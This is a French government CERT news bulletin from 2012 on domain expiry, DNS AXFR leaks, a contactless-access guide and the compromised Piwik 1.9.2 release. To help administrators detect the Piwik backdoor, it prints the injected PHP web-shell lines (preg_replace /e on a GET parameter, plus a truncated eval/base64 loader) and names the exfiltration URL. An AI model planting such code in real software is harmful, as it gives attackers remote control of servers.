Liberté • Égalité • Fraternité
RÉPUBLIQUE FRANÇAISE
PREMIER MINISTRE

S . G . D . S . N
Agence nationale de la sécurité des systèmes d'information
CERTA

Paris, le 30 novembre 2012
N° CERTA-2012-ACT-048

Affaire suivie par :
CERTA

BULLETIN D'ACTUALITÉ

Objet : Bulletin d'actualité CERTA-2012-ACT-048

1 Pérennité des noms de domaine

Un nom de domaine est très souvent une vitrine pour une entreprise ou un service. Il sera le plus souvent enregistré pour une durée déterminée (une ou plusieurs années) auprès d'un bureau d'enregistrement. Une fois ce délai expiré, et faute de renouvellement, le bureau d'enregistrement peut libérer ce domaine, et le rendre disponible à l'achat par n'importe quel tiers, au travers de n'importe quel autre bureau d'enregistrement. Un domaine expiré est également souvent désactivé. C'est à dire qu'il ne sera plus possible pour un client de résoudre ce domaine, et il ne pourra plus accéder à aucun service normalement accessible au moyen de ce nom (site Web, courrier électronique, etc.).

Pour éviter que le propriétaire perde son nom de domaine, le bureau d'enregistrement prévient généralement son client quelques semaines avant la date d'expiration. Cette opération est réalisée la plupart du temps par courrier électronique en utilisant les coordonnées du contact administratif, renseignées par le client lors de l'enregistrement.

Plusieurs sociétés se sont d'ailleurs spécialisées dans le rachat automatique de domaines expirés. Les avantages financiers pour ces sociétés peuvent provenir de la revente du domaine aux propriétaires initiaux, ou d'une activité malveillante (récupération de message électronique à destination de ce domaine, phishing, etc.).

Il est donc nécessaire, dès l'enregistrement d'un nom de domaine, de fournir une adresse électronique qui sera toujours valide, et dont le courrier sera régulièrement relevé. Une adresse fonctionnelle a plus de chances d'être conservée dans la durée qu'une adresse nominative. A noter également que chaque bureau est libre de pratiquer sa propre politique, le CERTA recommande donc de vérifier que son prestataire utilise bien une procédure de signalement d'expiration prochaine d'un domaine.

Enfin, les registres principaux de noms de domaine (ICANN, AFNIC, etc.) demandent à ce que les coordonnées des bases Whois soient valides. Il est donc du devoir du dépositaire du domaine de s'assurer que les coordonnées du contact administratif soient maintenues à jour, même si ces coordonnées sont ensuite anonymisées dans la base Whois par le bureau d'enregistrement.

Le CERTA attire l'attention sur la vigilance à accorder à l'expiration d'un enregistrement de nom de domaine, dont la perte pour une entreprise peut avoir de sérieuses conséquences en termes d'images, voire parfois d'impacts financiers majeurs.

Documentation

– Charte de nommage de l'AFNIC :
http://www.afnic.fr/fr/ressources/documents-de-reference/chartes/charte-de-nommage-en-vigueur-4.html

2 Fuite d'information par AXFR

Lorsque plusieurs serveurs DNS doivent répondre à des requêtes sur la même zone, il faut s'assurer que ceux-ci partagent les mêmes enregistrements DNS pour cette zone. Une manière de propager automatiquement des modifications d'une zone (par exemple, ajouter un sous-domaine) sur un serveur DNS « maître » à plusieurs serveurs DNS « esclaves » est l'utilisation du protocole `AXFR`.

Un serveur DNS « maître » configuré pour autoriser les requêtes `AXFR`, donnera l'intégralité de sa configuration à tout client qui en fait la demande, qu'il s'agisse d'un serveur DNS « esclave » légitime, ou d'une tierce personne disposant un simple client DNS. N'importe quel client de la zone peut donc obtenir l'intégralité des adresses IP, sous-domaines, etc. configurés dans cette zone.

Dans certains cas, une zone peut contenir l'adresse IP de tous les postes d'un réseau, par exemple si chacun de ces postes dispose d'un nom d'hôte associé. Un attaquant qui aura obtenu la configuration d'un serveur DNS au moyen d'une requête `AXFR` disposera alors d'informations sur le plan d'adressage des réseaux (« imprimante.domaine », « stockage.domaine », « poste-secretaire.domaine » etc.) et pourra rapidement cibler des postes ou serveurs clés qu'il souhaite compromettre.

Le CERTA recommande donc aux administrateurs de serveurs DNS, de n'autoriser les requêtes `AXFR` que depuis des serveurs DNS « esclaves » identifiés.

Documentation

– RFC 5936 DNS Zone Transfer Protocol (AXFR) :
http://www.rfc-editor.org/rfc/rfc5936.txt

3 Publication par l'ANSSI d'un guide sur la Sécurité des technologies sans-contact pour le contrôle des accès physiques

Face à l'utilisation grandissante des technologies sans contact et à la confirmation de plusieurs failles de sécurité les affectant, l'ANSSI a publié un guide sur la sécurité des technologies sans contact pour le contrôle des accès physiques.

Ces dispositifs doivent être inclus dans le périmètre des systèmes d'information et nécessitent donc le respect de règles élémentaires de sécurisation.

Ce guide a pour objectif de fournir un ensemble de recommandations et de bonnes pratiques nécessaires lors de la mise en oeuvre de tels dispositifs, ou lorsque ils sont déjà en place, pour vérifier leur niveau de sécurité.

Il s'adresse à un large public allant des décideurs en charge du déploiement, jusqu'aux intégrateurs et exploitants.

Le CERTA ne peut qu'inciter ses lecteurs concernés à appliquer les différentes recommandations dispensées par ce document.

Documentation

– Guide sur la Sécurité des technologies sans-contact pour le contrôle des accès physiques:
http://www.ssi.gouv.fr/IMG/pdf/Securite_des_technologies_sans_contact_pour_le_controle_des_acces_physiques.pdf

4 Porte dérobée dans un produit de mesure d'audience

Le site *piwik.org* a annoncé avoir été victime d'une intrusion le 26 novembre 2012 entre 15:43 et 23:59 (UTC). L'attaquant aurait utilisé une vulnérabilité d'un greffon Wordpress installé sur le serveur hébergeant *piwik.org* et aurait ajouté un code malveillant dans la version 1.9.2 du produit. D'après une analyse diffusée sur le forum de Piwik, ce code aurait deux fonctionnalités :

– la première permettrait d'exécuter n'importe quelle commande PHP sur le serveur ayant installé la version compromise de Piwik ;
– la seconde enverrait à l'attaquant la liste des pages Web visitées sur un serveur compromis. Cette fuite de donnée s'effectuerait par une requête HTTP envoyée vers l'URL *prostoivse.com/x.php*.

Pour contrôler si un serveur utilisant Piwik est compromis par cette porte dérobée, il suffit de vérifier si le fichier *piwik/core/Loader.php* contient les lignes suivantes à la fin du fichier :

```
<?php Error_Reporting(0);       if(isset($_GET['g']) && isset($_GET['s'])) {
```

```
preg_replace("/(.+)/e", $_GET['g'], 'dwm');     exit;
}
if (file_exists(dirname(__FILE__)."/lic.log")) exit;
eval(gzuncompress(base64_decode('...
```

Si la porte dérobée est présente sur un serveur, il est dans un premier temps nécessaire de s'assurer qu'elle n'a pas été utilisée pour prendre le contrôle du serveur. Pour ce faire, il faut vérifier dans les journaux si des commandes PHP ont été envoyées dans le paramètre *g* d'une URL (par exemple : *monserver/url.php?g=print("")*). Si tel est le cas, le CERTA recommande de suivre la note d'information CERTA-2002-INF-002-004 : « Les bons réflexes en cas d'intrusion sur un système d'information ».

Si la porte dérobée n'a pas été utilisée, il est recommandé de réinstaller Piwik, en supprimant complètement le répertoire racine nommé *piwik*, après avoir pris le soin de sauvegarder le fichier de configuration *piwik/config/config.ini.php*, et de réinstaller le produit à partir de la dernière version disponible sur *piwik.org*.

Documentation

- Annonce officielle de Piwik :
  `http://piwik.org/blog/2012/11/security-report-piwik-org-webserver-hacked-for-a-few-`
- Alerte initiale sur le forum de Piwik :
  `http://forum.piwik.org/read.php?2,97666`
- Note d'information du CERTA CERTA-2002-INF-002-004 du 18 juillet 2012 :
  `http://www.certa.ssi.gouv.fr/site/CERTA-2002-INF-002/`